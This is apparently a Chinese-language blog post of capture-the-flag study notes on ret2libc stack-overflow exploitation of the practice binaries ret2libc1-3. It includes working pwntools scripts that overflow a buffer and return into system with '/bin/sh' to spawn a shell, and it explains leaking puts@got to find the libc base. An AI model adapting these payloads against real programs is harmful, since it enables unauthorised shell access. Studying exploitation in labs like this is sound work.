ret2libc

ret2libc

对于这种动态执行文件,本地能利用的完整的gadget很少,不像ret2syscall(用分散的gadget连接起来拼成内核的system系统调用汇编代码段),

更不能ret2test因为没有可直接用的system函数,ret2shellcode也不行因为没有可执行的段

若程序未调用某函数,即使在动态链接库有,但也不会出现在plt和got表项中

传递的参数应为指针即地址值,实际存在readonlydata段

ret2libc1

payload

查bss,data段地址

脚本
from pwn import *
elf=ELF("./ret2libc1")
io=process("./ret2libc1")
io.recvline()
system_plt=0x08048460
bin_sh=next(elf.search(b"/bin/sh"))
payload=b'A'*112+p32(system_plt)+b'A'*4+p32(bin_sh)
io.sendline(payload)
io.interactive()

ret2libc2

payload结构

解释:第一个buf2是函数get的第一个参数,第二个buf2是函数system的第一个参数

脚本
from pwn import *
#elf=ELF("./ret2libc2")
io=process("./ret2libc2")
#io.recvline()
io.recvline()
system_plt=0x08048490#system_plt=elf.plt["system"]
get_plt=0x08048460
buf2_addr=0x0804A080#buf2_addr=elf.symbols["buf2"]查变量地址
#bin_sh=next(elf.search(b"/bin/sh"))
payload=b'A'*112+p32(get_plt)+p32(system_plt)+p32(buf2_addr)+p32(buf2_addr)
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

ret2libc3

分析:

既没有system函数,亦没有"/bin/sh"字符串,有NX保护,数据段和结合栈不可执行,判断这个题目要用到ret2libc的方法。

记住我们的目标:找到system()函数和"/bin/sh"字符串的真实地址。如何找,有一个思路,因为step2.system_real_addr=base_libc_addr+offset_system_addr. 这里,只需求base_libc_addr,因为libc库中存放的就是函数们的偏移地址,offset_system_addr可以通过elf文件的libc中找出(代码如libc = elf.libc,offset_system_addr=libc.symbols['system'])

step1.只需求base_libc_addr,而base_libc_addr=real_puts_addr-offset_puts_addr,故通过泄露puts真实地址来得到libc的基址

注意:

只有动态库libc中的函数在被调用时,才会进行地址解析和重定位工作,也就是说,只有函数发生调用之后,上图中最右侧的两个箭头才建立完成,我们才能够通过got表读取到libc中的函数

延迟绑定:

PLT表中的入口函数地址是指向自身的,当第一次调用某个外部函数时,会跳转到PLT表,执行桩函数来解析真正的外部函数地址,并更新GOT表中对应函数的地址,之后就直接跳转到该外部函数的真正地址

栈ROP链

int fflush(FILE *stream);

stdout

stdint

标准输出编号

0xAu    u表示unsigned int 2^32 bit
0xA    signed int  -2^31~2^31

ret2libc3_

main反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  int v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 0xAu);
  v8 = strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 0x100u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}

int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h]
  // 漏洞处,dest的大小和src大小不一致
  strcpy(&dest, src);
  return printf("Your message is : %s", &dest);
}

1、首先分析程序架构和保护措施。

img

2、使用IDA开始判断程序是否具备最简单的栈溢出执行条件:

  • ret2text:不具备,没有shell可执行代码
  • ret2shellcode:不具备写入全局区域的入口
  • 没有bin/bash可用,也没有system函数可以调用
  • 没有完整gadget构造链

细节处:要给程序一个地址,然后让他给我们该地址对应的地方的值,因此我们给他puts@got的地址0x804a01c,但是程序使用了strtol(&buf, v3, v4),因此我们要转换成10进制134520860,然后一路执行完see_somethin

posted @ 2024-06-09 01:07  hacker-dreamer  阅读(25)  评论(0编辑  收藏  举报